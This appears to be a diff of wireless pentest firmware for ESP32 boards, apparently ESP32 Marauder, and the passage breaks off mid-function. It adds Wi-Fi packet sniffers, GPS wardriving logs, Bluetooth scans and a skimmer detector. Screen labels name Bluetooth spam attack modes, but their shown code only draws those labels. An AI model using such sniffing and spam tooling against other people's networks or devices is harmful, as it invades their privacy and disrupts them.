+ else if (scan_mode == WIFI_SCAN_WAR_DRIVE) {
+ this->clearMacHistory();
+ display_obj.tft.drawCentreString("Wardrive", 120, 16, 2);
+ }
+ display_obj.touchToExit();
+ #endif
+ display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
+ display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
+ #endif
+
+ if (scan_mode != WIFI_SCAN_WAR_DRIVE) {
+
+ esp_wifi_init(&cfg);
+ esp_wifi_set_storage(WIFI_STORAGE_RAM);
+ esp_wifi_set_mode(WIFI_MODE_NULL);
+ esp_wifi_start();
+ esp_wifi_set_promiscuous(true);
+ esp_wifi_set_promiscuous_filter(&filt);
+ esp_wifi_set_promiscuous_rx_cb(&beaconSnifferCallback);
+ esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
+ }
+ else {
+ this->startWardriverWiFi();
+ }
+ this->wifi_initialized = true;
+ initTime = millis();
+}
+
+void WiFiScan::startWardriverWiFi() {
+ WiFi.mode(WIFI_STA);
+ WiFi.disconnect();
+}
+
+void WiFiScan::RunStationScan(uint8_t scan_mode, uint16_t color)
+{
+ startPcap("station");
+
+ #ifdef MARAUDER_FLIPPER
+ flipper_led.sniffLED();
+ #elif defined(XIAO_ESP32_S3)
+ xiao_led.sniffLED();
+ #elif defined(MARAUDER_M5STICKC)
+ stickc_led.sniffLED();
+ #else
+ led_obj.setMode(MODE_SNIFF);
+ #endif
+
+ #ifdef HAS_SCREEN
+ display_obj.TOP_FIXED_AREA_2 = 48;
+ display_obj.tteBar = true;
+ display_obj.print_delay_1 = 15;
+ display_obj.print_delay_2 = 10;
+ display_obj.initScrollValues(true);
+ display_obj.tft.setTextWrap(false);
+ display_obj.tft.setTextColor(TFT_WHITE, color);
+ #ifdef HAS_ILI9341
+ display_obj.tft.fillRect(0,16,240,16, color);
+ display_obj.tft.drawCentreString(text_table1[59],120,16,2);
+ display_obj.touchToExit();
+ #endif
+ display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
+ display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
+ #endif
+
+ esp_wifi_init(&cfg);
+ esp_wifi_set_storage(WIFI_STORAGE_RAM);
+ esp_wifi_set_mode(WIFI_MODE_NULL);
+ esp_wifi_start();
+ esp_wifi_set_promiscuous(true);
+ esp_wifi_set_promiscuous_filter(&filt);
+ esp_wifi_set_promiscuous_rx_cb(&stationSnifferCallback);
+ esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
+ this->wifi_initialized = true;
+ initTime = millis();
+}
+
+void WiFiScan::RunRawScan(uint8_t scan_mode, uint16_t color)
+{
+ if (scan_mode != WIFI_SCAN_SIG_STREN)
+ startPcap("raw");
+
+ #ifdef MARAUDER_FLIPPER
+ flipper_led.sniffLED();
+ #elif defined(XIAO_ESP32_S3)
+ xiao_led.sniffLED();
+ #elif defined(MARAUDER_M5STICKC)
+ stickc_led.sniffLED();
+ #else
+ led_obj.setMode(MODE_SNIFF);
+ #endif
+
+ #ifdef HAS_SCREEN
+ display_obj.TOP_FIXED_AREA_2 = 48;
+ display_obj.tteBar = true;
+ display_obj.print_delay_1 = 15;
+ display_obj.print_delay_2 = 10;
+ display_obj.initScrollValues(true);
+ display_obj.tft.setTextWrap(false);
+ display_obj.tft.setTextColor(TFT_WHITE, color);
+ #ifdef HAS_ILI9341
+ display_obj.tft.fillRect(0,16,240,16, color);
+ if (scan_mode != WIFI_SCAN_SIG_STREN)
+ display_obj.tft.drawCentreString(text_table1[58],120,16,2);
+ else
+ display_obj.tft.drawCentreString("Signal Monitor", 120, 16, 2);
+ display_obj.touchToExit();
+ #endif
+ display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
+ display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
+ #endif
+
+ esp_wifi_init(&cfg);
+ esp_wifi_set_storage(WIFI_STORAGE_RAM);
+ esp_wifi_set_mode(WIFI_MODE_NULL);
+ esp_wifi_start();
+ esp_wifi_set_promiscuous(true);
+ esp_wifi_set_promiscuous_filter(&filt);
+ esp_wifi_set_promiscuous_rx_cb(&rawSnifferCallback);
+ esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
+ this->wifi_initialized = true;
+ initTime = millis();
+}
+
+void WiFiScan::RunDeauthScan(uint8_t scan_mode, uint16_t color)
+{
+ startPcap("deauth");
+
+ #ifdef MARAUDER_FLIPPER
+ flipper_led.sniffLED();
+ #elif defined(XIAO_ESP32_S3)
+ xiao_led.sniffLED();
+ #elif defined(MARAUDER_M5STICKC)
+ stickc_led.sniffLED();
+ #else
+ led_obj.setMode(MODE_SNIFF);
+ #endif
+
+ #ifdef HAS_SCREEN
+ display_obj.TOP_FIXED_AREA_2 = 48;
+ display_obj.tteBar = true;
+ display_obj.print_delay_1 = 15;
+ display_obj.print_delay_2 = 10;
+ display_obj.initScrollValues(true);
+ display_obj.tft.setTextWrap(false);
+ display_obj.tft.setTextColor(TFT_BLACK, color);
+ #ifdef HAS_ILI9341
+ display_obj.tft.fillRect(0,16,240,16, color);
+ display_obj.tft.drawCentreString(text_table4[39],120,16,2);
+ display_obj.touchToExit();
+ #endif
+ display_obj.tft.setTextColor(TFT_RED, TFT_BLACK);
+ display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
+ #endif
+
+ esp_wifi_init(&cfg);
+ esp_wifi_set_storage(WIFI_STORAGE_RAM);
+ esp_wifi_set_mode(WIFI_MODE_NULL);
+ esp_wifi_start();
+ esp_wifi_set_promiscuous(true);
+ esp_wifi_set_promiscuous_filter(&filt);
+ esp_wifi_set_promiscuous_rx_cb(&deauthSnifferCallback);
+ esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
+ this->wifi_initialized = true;
+ initTime = millis();
+}
+
+
+// Function for running probe request scan
+void WiFiScan::RunProbeScan(uint8_t scan_mode, uint16_t color)
+{
+ if (scan_mode == WIFI_SCAN_PROBE)
+ startPcap("probe");
+ else if (scan_mode == WIFI_SCAN_STATION_WAR_DRIVE) {
+ #ifdef HAS_GPS
+ if (gps_obj.getGpsModuleStatus()) {
+ startLog("station_wardrive");
+ String header_line = "WigleWifi-1.4,appRelease=" + (String)MARAUDER_VERSION + ",model=ESP32 Marauder,release=" + (String)MARAUDER_VERSION + ",device=ESP32 Marauder,display=SPI TFT,board=ESP32 Marauder,brand=JustCallMeKoko\nMAC,SSID,AuthMode,FirstSeen,Channel,RSSI,CurrentLatitude,CurrentLongitude,AltitudeMeters,AccuracyMeters,Type\n";
+ buffer_obj.append(header_line);
+ } else {
+ return;
+ }
+ #else
+ return;
+ #endif
+ }
+
+ #ifdef MARAUDER_FLIPPER
+ flipper_led.sniffLED();
+ #elif defined(XIAO_ESP32_S3)
+ xiao_led.sniffLED();
+ #elif defined(MARAUDER_M5STICKC)
+ stickc_led.sniffLED();
+ #else
+ led_obj.setMode(MODE_SNIFF);
+ #endif
+
+ #ifdef HAS_SCREEN
+ display_obj.TOP_FIXED_AREA_2 = 48;
+ display_obj.tteBar = true;
+ display_obj.print_delay_1 = 15;
+ display_obj.print_delay_2 = 10;
+ display_obj.initScrollValues(true);
+ display_obj.tft.setTextWrap(false);
+ display_obj.tft.setTextColor(TFT_BLACK, color);
+ #ifdef HAS_ILI9341
+ display_obj.tft.fillRect(0,16,240,16, color);
+ display_obj.tft.drawCentreString(text_table4[40],120,16,2);
+ display_obj.touchToExit();
+ #endif
+ display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
+ display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
+ #endif
+
+ esp_wifi_init(&cfg);
+ esp_wifi_set_storage(WIFI_STORAGE_RAM);
+ esp_wifi_set_mode(WIFI_MODE_NULL);
+ esp_wifi_start();
+ esp_wifi_set_promiscuous(true);
+ esp_wifi_set_promiscuous_filter(&filt);
+ esp_wifi_set_promiscuous_rx_cb(&probeSnifferCallback);
+ esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
+ this->wifi_initialized = true;
+ initTime = millis();
+}
+
+void WiFiScan::RunSourApple(uint8_t scan_mode, uint16_t color) {
+ #ifdef HAS_BT
+ /*NimBLEDevice::init("");
+ NimBLEServer *pServer = NimBLEDevice::createServer();
+
+ pAdvertising = pServer->getAdvertising();*/
+
+ #ifdef HAS_SCREEN
+ display_obj.TOP_FIXED_AREA_2 = 48;
+ display_obj.tteBar = true;
+ display_obj.print_delay_1 = 15;
+ display_obj.print_delay_2 = 10;
+ display_obj.initScrollValues(true);
+ display_obj.tft.setTextWrap(false);
+ display_obj.tft.setTextColor(TFT_BLACK, color);
+ #ifdef HAS_ILI9341
+ display_obj.tft.fillRect(0,16,240,16, color);
+ display_obj.tft.drawCentreString("Sour Apple",120,16,2);
+ display_obj.touchToExit();
+ #endif
+ display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
+ #endif
+
+ this->ble_initialized;
+ #endif
+}
+
+void WiFiScan::RunSwiftpairSpam(uint8_t scan_mode, uint16_t color) {
+ #ifdef HAS_BT
+ #ifdef HAS_SCREEN
+ display_obj.TOP_FIXED_AREA_2 = 48;
+ display_obj.tteBar = true;
+ display_obj.print_delay_1 = 15;
+ display_obj.print_delay_2 = 10;
+ display_obj.initScrollValues(true);
+ display_obj.tft.setTextWrap(false);
+ display_obj.tft.setTextColor(TFT_BLACK, color);
+ #ifdef HAS_ILI9341
+ display_obj.tft.fillRect(0,16,240,16, color);
+ if (scan_mode == BT_ATTACK_SWIFTPAIR_SPAM)
+ display_obj.tft.drawCentreString("Swiftpair Spam",120,16,2);
+ else if (scan_mode == BT_ATTACK_SPAM_ALL)
+ display_obj.tft.drawCentreString("BLE Spam All",120,16,2);
+ else if (scan_mode == BT_ATTACK_SAMSUNG_SPAM)
+ display_obj.tft.drawCentreString("BLE Spam Samsung",120,16,2);
+ else if (scan_mode == BT_ATTACK_GOOGLE_SPAM)
+ display_obj.tft.drawCentreString("BLE Spam Google",120,16,2);
+ display_obj.touchToExit();
+ #endif
+ display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
+ #endif
+
+ this->ble_initialized;
+ #endif
+}
+
+// Function to start running any BLE scan
+void WiFiScan::RunBluetoothScan(uint8_t scan_mode, uint16_t color)
+{
+ #ifdef HAS_BT
+ #ifdef HAS_SCREEN
+ display_obj.print_delay_1 = 50;
+ display_obj.print_delay_2 = 20;
+ #endif
+
+ if (scan_mode != BT_SCAN_WAR_DRIVE_CONT) {
+ NimBLEDevice::setScanFilterMode(CONFIG_BTDM_SCAN_DUPL_TYPE_DEVICE);
+ NimBLEDevice::setScanDuplicateCacheSize(200);
+ }
+ NimBLEDevice::init("");
+ pBLEScan = NimBLEDevice::getScan(); //create new scan
+ if (scan_mode == BT_SCAN_ALL)
+ {
+ #ifdef HAS_SCREEN
+ display_obj.TOP_FIXED_AREA_2 = 48;
+ display_obj.tteBar = true;
+ display_obj.initScrollValues(true);
+ display_obj.tft.setTextWrap(false);
+ display_obj.tft.setTextColor(TFT_BLACK, color);
+ #ifdef HAS_ILI9341
+ display_obj.tft.fillRect(0,16,240,16, color);
+ display_obj.tft.drawCentreString(text_table4[41],120,16,2);
+ display_obj.touchToExit();
+ #endif
+ display_obj.tft.setTextColor(TFT_CYAN, TFT_BLACK);
+ display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
+ #endif
+ pBLEScan->setAdvertisedDeviceCallbacks(new bluetoothScanAllCallback(), false);
+ }
+ else if ((scan_mode == BT_SCAN_WAR_DRIVE) || (scan_mode == BT_SCAN_WAR_DRIVE_CONT)) {
+ #ifdef HAS_GPS
+ if (gps_obj.getGpsModuleStatus()) {
+ if (scan_mode == BT_SCAN_WAR_DRIVE) {
+ startLog("bt_wardrive");
+ }
+ else if (scan_mode == BT_SCAN_WAR_DRIVE_CONT) {
+ startLog("bt_wardrive_cont");
+ }
+ String header_line = "WigleWifi-1.4,appRelease=" + (String)MARAUDER_VERSION + ",model=ESP32 Marauder,release=" + (String)MARAUDER_VERSION + ",device=ESP32 Marauder,display=SPI TFT,board=ESP32 Marauder,brand=JustCallMeKoko\nMAC,SSID,AuthMode,FirstSeen,Channel,RSSI,CurrentLatitude,CurrentLongitude,AltitudeMeters,AccuracyMeters,Type\n";
+ buffer_obj.append(header_line);
+ } else {
+ return;
+ }
+ #else
+ return;
+ #endif
+ #ifdef HAS_SCREEN
+ display_obj.TOP_FIXED_AREA_2 = 48;
+ display_obj.tteBar = true;
+ display_obj.initScrollValues(true);
+ display_obj.tft.setTextWrap(false);
+ display_obj.tft.setTextColor(TFT_BLACK, color);
+ #ifdef HAS_ILI9341
+ display_obj.tft.fillRect(0,16,240,16, color);
+ if (scan_mode == BT_SCAN_WAR_DRIVE)
+ display_obj.tft.drawCentreString("BT Wardrive",120,16,2);
+ else if (scan_mode == BT_SCAN_WAR_DRIVE_CONT)
+ display_obj.tft.drawCentreString("BT Wardrive Continuous",120,16,2);
+ display_obj.touchToExit();
+ #endif
+ display_obj.tft.setTextColor(TFT_CYAN, TFT_BLACK);
+ display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
+ #endif
+ if (scan_mode != BT_SCAN_WAR_DRIVE_CONT)
+ pBLEScan->setAdvertisedDeviceCallbacks(new bluetoothScanAllCallback(), false);
+ else
+ pBLEScan->setAdvertisedDeviceCallbacks(new bluetoothScanAllCallback(), true);
+ }
+ else if (scan_mode == BT_SCAN_SKIMMERS)
+ {
+ #ifdef HAS_SCREEN
+ display_obj.TOP_FIXED_AREA_2 = 160;
+ display_obj.tteBar = true;
+ display_obj.tft.fillScreen(TFT_DARKGREY);
+ display_obj.initScrollValues(true);
+ display_obj.tft.setTextWrap(false);
+ display_obj.tft.setTextColor(TFT_BLACK, color);
+ display_obj.tft.fillRect(0,16,240,16, color);
+ display_obj.tft.drawCentreString(text_table4[42],120,16,2);
+ display_obj.twoPartDisplay(text_table4[43]);
+ display_obj.tft.setTextColor(TFT_BLACK, TFT_DARKGREY);
+ display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
+ #endif
+ pBLEScan->setAdvertisedDeviceCallbacks(new bluetoothScanSkimmersCallback(), false);
+ }
+ pBLEScan->setActiveScan(true); //active scan uses more power, but get results faster
+ pBLEScan->setInterval(97);
+ pBLEScan->setWindow(37); // less or equal setInterval value
+ pBLEScan->setMaxResults(0);
+ pBLEScan->start(0, scanCompleteCB, false);
+ Serial.println("Started BLE Scan");
+ this->ble_initialized = true;
+ initTime = millis();
+ #endif
+}
+
+// Function that is called when BLE scan is completed
+#ifdef HAS_BT
+ void WiFiScan::scanCompleteCB(BLEScanResults scanResults) {
+ printf("Scan complete!\n");
+ printf("Found %d devices\n", scanResults.getCount());
+ scanResults.dump();
+ } // scanCompleteCB
+#endif
+
+// Function to extract MAC addr from a packet at given offset
+void WiFiScan::getMAC(char *addr, uint8_t* data, uint16_t offset) {
+ sprintf(addr, "%02x:%02x:%02x:%02x:%02x:%02x", data[offset+0], data[offset+1], data[offset+2], data[offset+3], data[offset+4], data[offset+5]);
+}
+
+void WiFiScan::pwnSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type)
+{
+ wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
+ WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
+ wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
+ int len = snifferPacket->rx_ctrl.sig_len;
+
+ String display_string = "";
+ String src = "";
+ String essid = "";
+
+ if (type == WIFI_PKT_MGMT)
+ {
+ len -= 4;
+ int fctl = ntohs(frameControl->fctl);
+ const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
+ const WifiMgmtHdr *hdr = &ipkt->hdr;
+
+ // If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP
+ #ifdef HAS_SCREEN
+ int buf = display_obj.display_buffer->size();
+ #else
+ int buf = 0;
+ #endif
+
+ if ((snifferPacket->payload[0] == 0x80) && (buf == 0))
+ {
+ char addr[] = "00:00:00:00:00:00";
+ getMAC(addr, snifferPacket->payload, 10);
+ src.concat(addr);
+ if (src == "de:ad:be:ef:de:ad") {
+
+
+ delay(random(0, 10));
+ Serial.print("RSSI: ");
+ Serial.print(snifferPacket->rx_ctrl.rssi);
+ Serial.print(" Ch: ");
+ Serial.print(snifferPacket->rx_ctrl.channel);
+ Serial.print(" BSSID: ");
+ Serial.print(addr);
+ //display_string.concat(addr);
+ display_string.concat("CH: " + (String)snifferPacket->rx_ctrl.channel);
+ Serial.print(" ESSID: ");
+ display_string.concat(" -> ");
+
+ // Just grab the first 255 bytes of the pwnagotchi beacon
+ // because that is where the name is
+ //for (int i = 0; i < snifferPacket->payload[37]; i++)
+ for (int i = 0; i < len - 37; i++)
+ {
+ Serial.print((char)snifferPacket->payload[i + 38]);
+ //display_string.concat((char)snifferPacket->payload[i + 38]);
+ if (isAscii(snifferPacket->payload[i + 38]))
+ essid.concat((char)snifferPacket->payload[i + 38]);
+ else
+ Serial.println("Got non-ascii character: " + (String)(char)snifferPacket->payload[i + 38]);
+ }
+ //essid.concat("\": \"\"}}");
+ //Serial.println("\n" + (String)(snifferPacket->payload[37]) + " -> " + essid);
+
+ // Load json
+ //DynamicJsonBuffer jsonBuffer; // ArduinoJson v5
+ DynamicJsonDocument json(1024); // ArduinoJson v6
+ //JsonObject& json = jsonBuffer.parseObject(essid); // ArduinoJson v5
+ // ArduinoJson v6
+ if (deserializeJson(json, essid)) {
+ Serial.println("\nCould not parse Pwnagotchi json");
+ display_string.concat(essid);
+ }
+ else {
+ Serial.println("\nSuccessfully parsed json");
+ String json_output;
+ //json.printTo(json_output); // ArduinoJson v5
+ serializeJson(json, json_output); // ArduinoJson v6
+ Serial.println(json_output);
+ display_string.concat(json["name"].as() + " pwnd: " + json["pwnd_tot"].as());
+ }
+
+ int temp_len = display_string.length();
+ for (int i = 0; i < 40 - temp_len; i++)
+ {
+ display_string.concat(" ");
+ }
+
+ Serial.print(" ");
+
+ #ifdef HAS_SCREEN
+ if (display_obj.display_buffer->size() == 0)
+ {
+ display_obj.loading = true;
+ display_obj.display_buffer->add(display_string);
+ display_obj.loading = false;
+ }
+ #endif
+
+ Serial.println();
+
+ buffer_obj.append(snifferPacket, len);
+ }
+ }
+ }
+}
+
+void WiFiScan::apSnifferCallbackFull(void* buf, wifi_promiscuous_pkt_type_t type) {
+ extern WiFiScan wifi_scan_obj;
+ wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
+ WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
+ wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
+ int len = snifferPacket->rx_ctrl.sig_len;
+
+ String display_string = "";
+ String essid = "";
+ String bssid = "";
+
+ if (type == WIFI_PKT_MGMT)
+ {
+ len -= 4;
+ int fctl = ntohs(frameControl->fctl);
+ const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
+ const WifiMgmtHdr *hdr = &ipkt->hdr;
+
+ // If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP
+ #ifdef HAS_SCREEN
+ int buf = display_obj.display_buffer->size();
+ #else
+ int buf = 0;
+ #endif
+ if ((snifferPacket->payload[0] == 0x80) && (buf == 0))
+ {
+ char addr[] = "00:00:00:00:00:00";
+ getMAC(addr, snifferPacket->payload, 10);
+
+ bool in_list = false;
+ bool mac_match = true;
+
+ for (int i = 0; i < access_points->size(); i++) {
+ mac_match = true;
+ //Serial.print("Checking ");
+ //Serial.print(addr);
+ //Serial.println(" against " + (String)access_points->get(i).essid);
+
+
+ for (int x = 0; x < 6; x++) {
+ //Serial.println((String)snifferPacket->payload[x + 10] + " | " + (String)access_points->get(i).bssid[x]);
+ if (snifferPacket->payload[x + 10] != access_points->get(i).bssid[x]) {
+ mac_match = false;
+ //Serial.println("MACs do not match");
+ break;
+ }
+ }
+ if (mac_match) {
+ in_list = true;
+ break;
+ }
+ }
+
+ if (!in_list) {
+
+ delay(random(0, 10));
+ Serial.print("RSSI: ");
+ Serial.print(snifferPacket->rx_ctrl.rssi);
+ Serial.print(" Ch: ");
+ Serial.print(snifferPacket->rx_ctrl.channel);
+ Serial.print(" BSSID: ");
+ Serial.print(addr);
+ //display_string.concat(addr);
+ //Serial.print(" ESSID: ");
+ //display_string.concat(" -> ");
+ //for (int i = 0; i < snifferPacket->payload[37]; i++)
+ //{
+ // Serial.print((char)snifferPacket->payload[i + 38]);
+ // display_string.concat((char)snifferPacket->payload[i + 38]);
+ // essid.concat((char)snifferPacket->payload[i + 38]);
+ //}
+ Serial.print(" ESSID: ");
+ if (snifferPacket->payload[37] <= 0)
+ display_string.concat(addr);
+ else {
+ for (int i = 0; i < snifferPacket->payload[37]; i++)
+ {
+ Serial.print((char)snifferPacket->payload[i + 38]);
+ display_string.concat((char)snifferPacket->payload[i + 38]);
+ essid.concat((char)snifferPacket->payload[i + 38]);
+ }
+ }
+
+ bssid.concat(addr);
+
+ int temp_len = display_string.length();
+ for (int i = 0; i < 40 - temp_len; i++)
+ {
+ display_string.concat(" ");
+ }
+
+ Serial.print(" ");
+
+ #ifdef HAS_SCREEN
+ if (display_obj.display_buffer->size() == 0)
+ {
+ display_obj.loading = true;
+ display_obj.display_buffer->add(display_string);
+ display_obj.loading = false;
+ }
+ #endif
+
+ if (essid == "") {
+ essid = bssid;
+ Serial.print(essid + " ");
+ }
+
+ //LinkedList beacon = new LinkedList();
+
+ /*AccessPoint ap = {essid,
+ snifferPacket->rx_ctrl.channel,
+ {snifferPacket->payload[10],
+ snifferPacket->payload[11],
+ snifferPacket->payload[12],
+ snifferPacket->payload[13],
+ snifferPacket->payload[14],
+ snifferPacket->payload[15]},
+ false,
+ NULL};*/
+
+ AccessPoint ap;
+ ap.essid = essid;
+ ap.channel = snifferPacket->rx_ctrl.channel;
+ ap.bssid[0] = snifferPacket->payload[10];
+ ap.bssid[1] = snifferPacket->payload[11];
+ ap.bssid[2] = snifferPacket->payload[12];
+ ap.bssid[3] = snifferPacket->payload[13];
+ ap.bssid[4] = snifferPacket->payload[14];
+ ap.bssid[5] = snifferPacket->payload[15];
+ ap.selected = false;
+ ap.stations = new LinkedList();
+
+ ap.beacon = new LinkedList();
+
+ //for (int i = 0; i < len; i++) {
+ // ap.beacon->add(snifferPacket->payload[i]);
+ //}
+ ap.beacon->add(snifferPacket->payload[34]);
+ ap.beacon->add(snifferPacket->payload[35]);
+
+ Serial.print("\nBeacon: ");
+
+ for (int i = 0; i < ap.beacon->size(); i++) {
+ char hexCar[4];
+ sprintf(hexCar, "%02X", ap.beacon->get(i));
+ Serial.print(hexCar);
+ if ((i + 1) % 16 == 0)
+ Serial.print("\n");
+ else
+ Serial.print(" ");
+ }
+
+ ap.rssi = snifferPacket->rx_ctrl.rssi;
+
+ access_points->add(ap);
+
+ Serial.print(access_points->size());
+ Serial.print(" ");
+ Serial.print(esp_get_free_heap_size());
+
+ Serial.println();
+
+ buffer_obj.append(snifferPacket, len);
+ }
+ }
+ }
+}
+
+void WiFiScan::apSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type)
+{
+ extern WiFiScan wifi_scan_obj;
+ wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
+ WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
+ wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
+ int len = snifferPacket->rx_ctrl.sig_len;
+
+ String display_string = "";
+ String essid = "";
+ String bssid = "";
+
+ if (type == WIFI_PKT_MGMT)
+ {
+ len -= 4;
+ int fctl = ntohs(frameControl->fctl);
+ const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
+ const WifiMgmtHdr *hdr = &ipkt->hdr;
+
+ // If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP
+ #ifdef HAS_SCREEN
+ int buf = display_obj.display_buffer->size();
+ #else
+ int buf = 0;
+ #endif
+ if ((snifferPacket->payload[0] == 0x80) && (buf == 0))
+ {
+ char addr[] = "00:00:00:00:00:00";
+ getMAC(addr, snifferPacket->payload, 10);
+
+ bool in_list = false;
+ bool mac_match = true;
+
+ for (int i = 0; i < access_points->size(); i++) {
+ mac_match = true;
+ //Serial.print("Checking ");
+ //Serial.print(addr);
+ //Serial.println(" against " + (String)access_points->get(i).essid);
+
+
+ for (int x = 0; x < 6; x++) {
+ //Serial.println((String)snifferPacket->payload[x + 10] + " | " + (String)access_points->get(i).bssid[x]);
+ if (snifferPacket->payload[x + 10] != access_points->get(i).bssid[x]) {
+ mac_match = false;
+ //Serial.println("MACs do not match");
+ break;
+ }
+ }
+ if (mac_match) {
+ in_list = true;
+ break;
+ }
+ }
+
+ if (!in_list) {
+
+ delay(random(0, 10));
+ Serial.print("RSSI: ");
+ Serial.print(snifferPacket->rx_ctrl.rssi);
+ Serial.print(" Ch: ");
+ Serial.print(snifferPacket->rx_ctrl.channel);
+ Serial.print(" BSSID: ");
+ Serial.print(addr);
+ display_string.concat(addr);
+ Serial.print(" ESSID: ");
+ display_string.concat(" -> ");
+ for (int i = 0; i < snifferPacket->payload[37]; i++)
+ {
+ Serial.print((char)snifferPacket->payload[i + 38]);
+ display_string.concat((char)snifferPacket->payload[i + 38]);
+ essid.concat((char)snifferPacket->payload[i + 38]);
+
+
+ }
+
+ bssid.concat(addr);
+
+ int temp_len = display_string.length();
+ for (int i = 0; i < 40 - temp_len; i++)
+ {
+ display_string.concat(" ");
+ }
+
+ Serial.print(" ");
+
+ #ifdef HAS_SCREEN
+ if (display_obj.display_buffer->size() == 0)
+ {
+ display_obj.loading = true;
+ display_obj.display_buffer->add(display_string);
+ display_obj.loading = false;
+ }
+ #endif
+
+ if (essid == "") {
+ essid = bssid;
+ Serial.print(essid + " ");
+ }
+
+ AccessPoint ap = {essid,
+ snifferPacket->rx_ctrl.channel,
+ {snifferPacket->payload[10],
+ snifferPacket->payload[11],
+ snifferPacket->payload[12],
+ snifferPacket->payload[13],
+ snifferPacket->payload[14],
+ snifferPacket->payload[15]},
+ false,
+ NULL,
+ snifferPacket->rx_ctrl.rssi,
+ new LinkedList()};
+
+ access_points->add(ap);
+
+ Serial.print(access_points->size());
+ Serial.print(" ");
+ Serial.print(esp_get_free_heap_size());
+
+ Serial.println();
+
+ buffer_obj.append(snifferPacket, len);
+ }
+ }
+ }
+}
+
+void WiFiScan::beaconSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type)
+{
+ extern WiFiScan wifi_scan_obj;
+
+ #ifdef HAS_GPS
+ extern GpsInterface gps_obj;
+ extern EvilPortal evil_portal_obj;
+ #endif
+
+ wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
+ WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
+ wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
+ int len = snifferPacket->rx_ctrl.sig_len;
+
+ String display_string = "";
+ String essid = "";
+
+ if (type == WIFI_PKT_MGMT)
+ {
+ len -= 4;
+ int fctl = ntohs(frameControl->fctl);
+ const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
+ const WifiMgmtHdr *hdr = &ipkt->hdr;
+
+ // If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP
+ #ifdef HAS_SCREEN
+ int buff = display_obj.display_buffer->size();
+ #else
+ int buff = 0;
+ #endif
+ // It is a beacon
+ if ((snifferPacket->payload[0] == 0x80) && (buff == 0))
+ {
+ // Do signal strength stuff first
+ if (wifi_scan_obj.currentScanMode == WIFI_SCAN_SIG_STREN) {
+ bool found = false;
+ uint8_t targ_index = 0;
+ AccessPoint targ_ap;
+
+ // Check list of APs
+ for (int i = 0; i < access_points->size(); i++) {
+ if (access_points->get(i).selected) {
+ uint8_t addr[] = {snifferPacket->payload[10],
+ snifferPacket->payload[11],
+ snifferPacket->payload[12],
+ snifferPacket->payload[13],
+ snifferPacket->payload[14],
+ snifferPacket->payload[15]};
+ // Compare AP bssid to ssid of recvd packet
+ for (int x = 0; x < 6; x++) {
+ if (addr[x] != access_points->get(i).bssid[x]) {
+ found = false;
+ break;
+ }
+ else
+ found = true;
+ }
+ if (found) {
+ //Serial.println("Received beacon from " + access_points->get(i).essid + ". Checking RSSI...");
+ targ_ap = access_points->get(i);
+ targ_index = i;
+ break;
+ }
+ }
+ }
+ if (!found)
+ return;
+
+ if ((targ_ap.rssi + 5 < snifferPacket->rx_ctrl.rssi) || (snifferPacket->rx_ctrl.rssi + 5 < targ_ap.rssi)) {
+ targ_ap.rssi = snifferPacket->rx_ctrl.rssi;
+ access_points->set(targ_index, targ_ap);
+ Serial.println((String)access_points->get(targ_index).essid + " RSSI: " + (String)access_points->get(targ_index).rssi);
+ return;
+ }
+ }
+
+ else if (wifi_scan_obj.currentScanMode == WIFI_SCAN_AP) {
+ delay(random(0, 10));
+ Serial.print("RSSI: ");
+ Serial.print(snifferPacket->rx_ctrl.rssi);
+ Serial.print(" Ch: ");
+ Serial.print(snifferPacket->rx_ctrl.channel);
+ Serial.print(" BSSID: ");
